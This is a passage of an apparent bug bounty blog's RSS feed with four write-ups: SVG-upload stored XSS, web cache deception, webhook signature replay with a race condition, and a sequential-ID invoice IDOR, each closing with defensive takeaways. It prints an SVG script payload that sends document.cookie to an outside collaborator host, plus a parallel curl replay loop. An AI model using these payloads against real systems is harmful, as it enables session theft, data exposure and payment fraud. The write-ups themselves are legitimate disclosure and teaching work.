style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> multipart/form-data; boundary=----x</span></span><span class="code-line"></span><span class="code-line"><span style="color:#E8E6F5">------x</span></span><span class="code-line is-hl"><span style="color:#7FE0DF">Content-Disposition</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> form-data; name="file"; filename="avatar.svg"</span></span><span class="code-line"><span style="color:#7FE0DF">Content-Type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> image/svg+xml</span></span><span class="code-line"></span><span class="code-line"><span style="color:#A8A6CC">&#x3C;</span><span style="color:#FF9C7A">svg</span><span style="color:#F5C04E"> xmlns</span><span style="color:#E8E6F5">=</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">http://www.w3.org/2000/svg</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">>&#x3C;</span><span style="color:#FF9C7A">script</span><span style="color:#A8A6CC">></span><span style="color:#E8E6F5">fetch('https://<span class="tok-redact" aria-label="redacted value">████</span>.oastify.com/?c='+document.cookie)</span><span style="color:#A8A6CC">&#x3C;/</span><span style="color:#FF9C7A">script</span><span style="color:#A8A6CC">>&#x3C;/</span><span style="color:#FF9C7A">svg</span><span style="color:#A8A6CC">></span></span></code></pre></figure>
<p>The file is accepted, stored, and served back from <code>app.target.tld/uploads/…</code>, same origin as the application, with <code>Content-Type: image/svg+xml</code> and no <code>Content-Disposition: attachment</code>.</p>
<p>Inside an <code>&#x3C;img></code> tag the script does not run, which is what the team had tested. But the avatar is also a link to the full-size file, and the agent interface opens it in a new tab. At that point the browser treats it as a document, not an image, and the script runs with the agent’s session.</p>
<h2 id="takeaways">Takeaways</h2>
<ul class="takeaways">
<li><strong>Serving SVG from your application origin is serving HTML.</strong> Either rasterise it on upload, or serve user files from a separate domain with no session.</li>
<li><strong>Testing the payload inside <code>&#x3C;img></code> proves nothing.</strong> The dangerous context is direct navigation, which every file preview eventually offers.</li>
<li><strong><code>Content-Disposition: attachment</code> is the cheap mitigation</strong> while the real fix ships.</li>
</ul>]]></content:encoded>
      <enclosure url="https://bughuntingjourney.com/og/svg-avatar-stored-xss.png" type="image/png" length="0"/>
    </item>
    <item>
      <title>Adding .css to a settings page and getting someone else's</title>
      <link>https://bughuntingjourney.com/writeups/cache-deception-account</link>
      <guid isPermaLink="true">https://bughuntingjourney.com/writeups/cache-deception-account</guid>
      <pubDate>Tue, 02 Jun 2026 00:00:00 GMT</pubDate>
      <dc:creator>@0xmel</dc:creator>
      <category>Information disclosure</category>
      <description>The CDN cached anything that looked like a static file. The origin ignored the extension and rendered the account page anyway.</description>
      <content:encoded><![CDATA[<p>Web cache deception needs two components that disagree about what a URL means. Here the CDN read the end of the path and the origin read the beginning, and nobody owned the middle.</p>
<h2 id="the-disagreement">The disagreement</h2>
<figure class="code"><div class="code-bar is-http is-request"><span class="http-method">GET</span><span class="code-title">Request</span><span class="code-lang">request</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line is-hl"><span style="color:#F5C04E;font-weight:bold">GET</span><span style="color:#E8E6F5"> /account/settings/anything.css HTTP/2</span></span><span class="code-line"><span style="color:#7FE0DF">Host</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> app.target.tld</span></span><span class="code-line"><span style="color:#7FE0DF">Cookie</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> session=<span class="tok-redact" aria-label="redacted value">████████████████</span></span></span></code></pre></figure>
<figure class="code"><div class="code-bar is-http is-response is-2xx"><span class="http-status is-2xx">200</span><span class="code-title">OK</span><span class="code-lang">response</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line is-hl"><span style="color:#E8E6F5">HTTP/2 </span><span style="color:#76D9A0;font-weight:700">200</span><span style="color:#8BD6A0"> OK</span></span><span class="code-line"><span style="color:#7FE0DF">content-type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> text/html; charset=utf-8</span></span><span class="code-line"><span style="color:#7FE0DF">cache-control</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> public, max-age=600</span></span><span class="code-line"><span style="color:#7FE0DF">x-cache</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> MISS</span></span></code></pre></figure>
<p>Two things are wrong in that response. The origin served the HTML account page despite the <code>.css</code> suffix, because its router matches on the <code>/account/settings</code> prefix and ignores the rest. And the edge rewrote <code>Cache-Control</code> to <code>public</code> because the extension matched its static asset rule.</p>
<p>Ten minutes later, the same URL fetched with no cookies at all:</p>
<figure class="code"><div class="code-bar is-http is-response is-2xx"><span class="http-status is-2xx">200</span><span class="code-title">OK</span><span class="code-lang">response</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line is-hl"><span style="color:#E8E6F5">HTTP/2 </span><span style="color:#76D9A0;font-weight:700">200</span><span style="color:#8BD6A0"> OK</span></span><span class="code-line"><span style="color:#7FE0DF">content-type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> text/html; charset=utf-8</span></span><span class="code-line"><span style="color:#7FE0DF">x-cache</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> HIT</span></span><span class="code-line is-hl"></span><span class="code-line"><span style="color:#A8A6CC">&#x3C;</span><span style="color:#FF9C7A">h1</span><span style="color:#A8A6CC">></span><span style="color:#E8E6F5">Account settings</span><span style="color:#A8A6CC">&#x3C;/</span><span style="color:#FF9C7A">h1</span><span style="color:#A8A6CC">>&#x3C;</span><span style="color:#FF9C7A">div</span><span style="color:#F5C04E"> class</span><span style="color:#E8E6F5">=</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">email</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">></span><span style="color:#E8E6F5"><span class="tok-redact" aria-label="redacted value">████████████████</span></span><span style="color:#A8A6CC">&#x3C;/</span><span style="color:#FF9C7A">div</span><span style="color:#A8A6CC">></span></span></code></pre></figure>
<h2 id="exploitation">Exploitation</h2>
<p>The victim does not have to click anything unusual. Any link to <code>app.target.tld/account/settings/x.css</code> works: the first authenticated person to load it fills the cache, and everyone after that reads their page.</p>
<h2 id="takeaways">Takeaways</h2>
<ul class="takeaways">
<li><strong>The cache key and the routing rule must agree on what identifies a page.</strong> Here one looked at the suffix and the other at the prefix.</li>
<li><strong>An origin that ignores trailing path segments is the real bug.</strong> The CDN rule only makes it exploitable.</li>
<li><strong>Never let the edge upgrade a response to <code>public</code>.</strong> The origin owns cacheability, and authenticated responses should carry <code>private</code> explicitly.</li>
</ul>]]></content:encoded>
      <enclosure url="https://bughuntingjourney.com/og/cache-deception-account.png" type="image/png" length="0"/>
    </item>
    <item>
      <title>A webhook that could be replayed for eleven minutes</title>
      <link>https://bughuntingjourney.com/writeups/webhook-signature-replay</link>
      <guid isPermaLink="true">https://bughuntingjourney.com/writeups/webhook-signature-replay</guid>
      <pubDate>Fri, 15 May 2026 00:00:00 GMT</pubDate>
      <dc:creator>@0xmel</dc:creator>
      <category>Race condition / TOCTOU</category>
      <description>The signature was verified, the timestamp was not, and the idempotency key was checked after the credit was applied.</description>
      <content:encoded><![CDATA[<p>Signature verification on webhooks gets implemented carefully, because there is a library for it. The two things the library does not do for you are the ones that broke here.</p>
<h2 id="what-was-checked-and-what-was-not">What was checked, and what was not</h2>
<p>The handler verified the HMAC over the raw body. It did not look at the <code>t=</code> component of the signature header, which carries the timestamp the signature covers. So a captured callback stayed valid forever.</p>
<figure class="code"><div class="code-bar"><span class="code-title">Replay, twenty at a time</span><span class="code-lang">bash</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="bash"><code><span class="code-line"><span style="color:#FF9C7A">for</span><span style="color:#E8E6F5"> i </span><span style="color:#FF9C7A">in</span><span style="color:#A8A6CC"> $(</span><span style="color:#FF9C7A;font-weight:bold">seq</span><span style="color:#F5C04E"> 1</span><span style="color:#F5C04E"> 20</span><span style="color:#A8A6CC">);</span><span style="color:#FF9C7A"> do</span></span><span class="code-line"><span style="color:#FF9C7A;font-weight:bold">  curl</span><span style="color:#C7A6FF"> -</span><span style="color:#F5C04E">s</span><span style="color:#C7A6FF"> -</span><span style="color:#F5C04E">X</span><span style="color:#8BD6A0"> POST</span><span style="color:#8BD6A0"> https://api.target.tld/webhooks/payments</span><span style="color:#A8A6CC"> \</span></span><span class="code-line"><span style="color:#C7A6FF">    -</span><span style="color:#F5C04E">H</span><span style="color:#A8A6CC"> "</span><span style="color:#8BD6A0">X-Signature: t=1746<span class="tok-redact" aria-label="redacted value">███████</span>,v1=<span class="tok-redact" aria-label="redacted value">████████████████</span></span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC"> \</span></span><span class="code-line"><span style="color:#C7A6FF">    -</span><span style="color:#F5C04E">H</span><span style="color:#A8A6CC"> "</span><span style="color:#8BD6A0">Content-Type: application/json</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC"> \</span></span><span class="code-line"><span style="color:#C7A6FF">    -</span><span style="color:#F5C04E">-data-binary</span><span style="color:#8BD6A0"> @captured.json</span><span style="color:#A8A6CC"> &#x26;</span></span><span class="code-line"><span style="color:#FF9C7A;font-weight:bold">done</span><span style="color:#A8A6CC">;</span><span style="color:#8FD3FF;font-weight:bold"> wait</span></span></code></pre></figure>
<p>The idempotency key in the payload was checked, but with a <code>findOne</code> before the balance update rather than a unique constraint inside the transaction. Twenty parallel requests all read “not seen yet”, and all twenty credited the balance.</p>
<figure class="code"><div class="code-bar is-http is-response is-2xx"><span class="http-status is-2xx">200</span><span class="code-title">Balance after the burst</span><span class="code-lang">response</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line"><span style="color:#E8E6F5">HTTP/2 </span><span style="color:#76D9A0;font-weight:700">200</span><span style="color:#8BD6A0"> OK</span></span><span class="code-line"><span style="color:#7FE0DF">content-type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> application/json</span></span><span class="code-line"></span><span class="code-line is-hl"><span style="color:#A8A6CC">{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">balance</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#F5C04E"> 20</span><span style="color:#FF8A7A"> ×</span><span style="color:#FF8A7A"> <span class="tok-redact" aria-label="redacted value">████</span></span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC"> "</span><span style="color:#7FE0DF">currency</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">EUR</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">}</span></span></code></pre></figure>
<h2 id="takeaways">Takeaways</h2>
<ul class="takeaways">
<li><strong>Verifying a signature proves authorship, not freshness.</strong> Compare the signed timestamp to your clock and reject anything outside a few minutes.</li>
<li><strong>An idempotency key is only idempotent if the database enforces it.</strong> A <code>findOne</code> check is a read, and reads race.</li>
<li><strong>Webhook handlers deserve the same concurrency testing as checkout flows.</strong> They move money with no user in front of them.</li>
</ul>]]></content:encoded>
      <enclosure url="https://bughuntingjourney.com/og/webhook-signature-replay.png" type="image/png" length="0"/>
    </item>
    <item>
      <title>Sequential invoice IDs, and no check at all</title>
      <link>https://bughuntingjourney.com/writeups/invoice-id-idor</link>
      <guid isPermaLink="true">https://bughuntingjourney.com/writeups/invoice-id-idor</guid>
      <pubDate>Tue, 28 Apr 2026 00:00:00 GMT</pubDate>
      <dc:creator>@0xmel</dc:creator>
      <category>Insecure direct object reference</category>
      <description>The least sophisticated bug on this blog. Decrement the number in the URL, read somebody else's invoice.</description>
      <content:encoded><![CDATA[<p>Not every finding is clever. This one took four minutes, and it is worth publishing precisely because it still exists in 2026 on a product that bills real companies.</p>
<h2 id="the-whole-thing">The whole thing</h2>
<figure class="code"><div class="code-bar is-http is-request"><span class="http-method">GET</span><span class="code-title">My own invoice</span><span class="code-lang">request</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line"><span style="color:#F5C04E;font-weight:bold">GET</span><span style="color:#E8E6F5"> /billing/invoices/80422/pdf HTTP/2</span></span><span class="code-line"><span style="color:#7FE0DF">Host</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> app.target.tld</span></span><span class="code-line"><span style="color:#7FE0DF">Cookie</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> session=<span class="tok-redact" aria-label="redacted value">████████████████</span></span></span></code></pre></figure>
<p>Decrement by one:</p>
<figure class="code"><div class="code-bar is-http is-response is-2xx"><span class="http-status is-2xx">200</span><span class="code-title">OK</span><span class="code-lang">response</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line is-hl"><span style="color:#E8E6F5">HTTP/2 </span><span style="color:#76D9A0;font-weight:700">200</span><span style="color:#8BD6A0"> OK</span></span><span class="code-line"><span style="color:#7FE0DF">content-type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> application/pdf</span></span><span class="code-line"><span style="color:#7FE0DF">content-disposition</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> inline; filename="INV-80421.pdf"</span></span></code></pre></figure>
<p>A PDF belonging to a different company, with its legal name, billing address, contact email and line items. No <code>403</code>, no ownership check, no rate limit. I read three invoices to establish the pattern, confirmed they were not mine, and stopped.</p>
<h2 id="why-it-survived">Why it survived</h2>
<p>The invoice route was added before the platform grew an authorisation layer, and it sits in an older router that the newer middleware never got mounted on. Nothing in the code looks wrong when you read that file on its own, which is exactly why reading a single file is not a review.</p>
<h2 id="takeaways">Takeaways</h2>
<ul class="takeaways">
<li><strong>Try the boring thing first.</strong> Sequential identifiers in a URL are still the fastest finding in the book.</li>
<li><strong>Authorisation middleware applied per router is authorisation you will forget to mount.</strong> Default to deny at the framework level.</li>
<li><strong>Stop at three.</strong> You only need enough to prove the pattern, and every extra record is someone’s real data.</li>
</ul>]]></content:encoded>
      <enclosure url="https://bughuntingjourney.com/og/invoice-id-idor.png" type="image/png" length="0"/>
    </item>
  </channel>
</rss>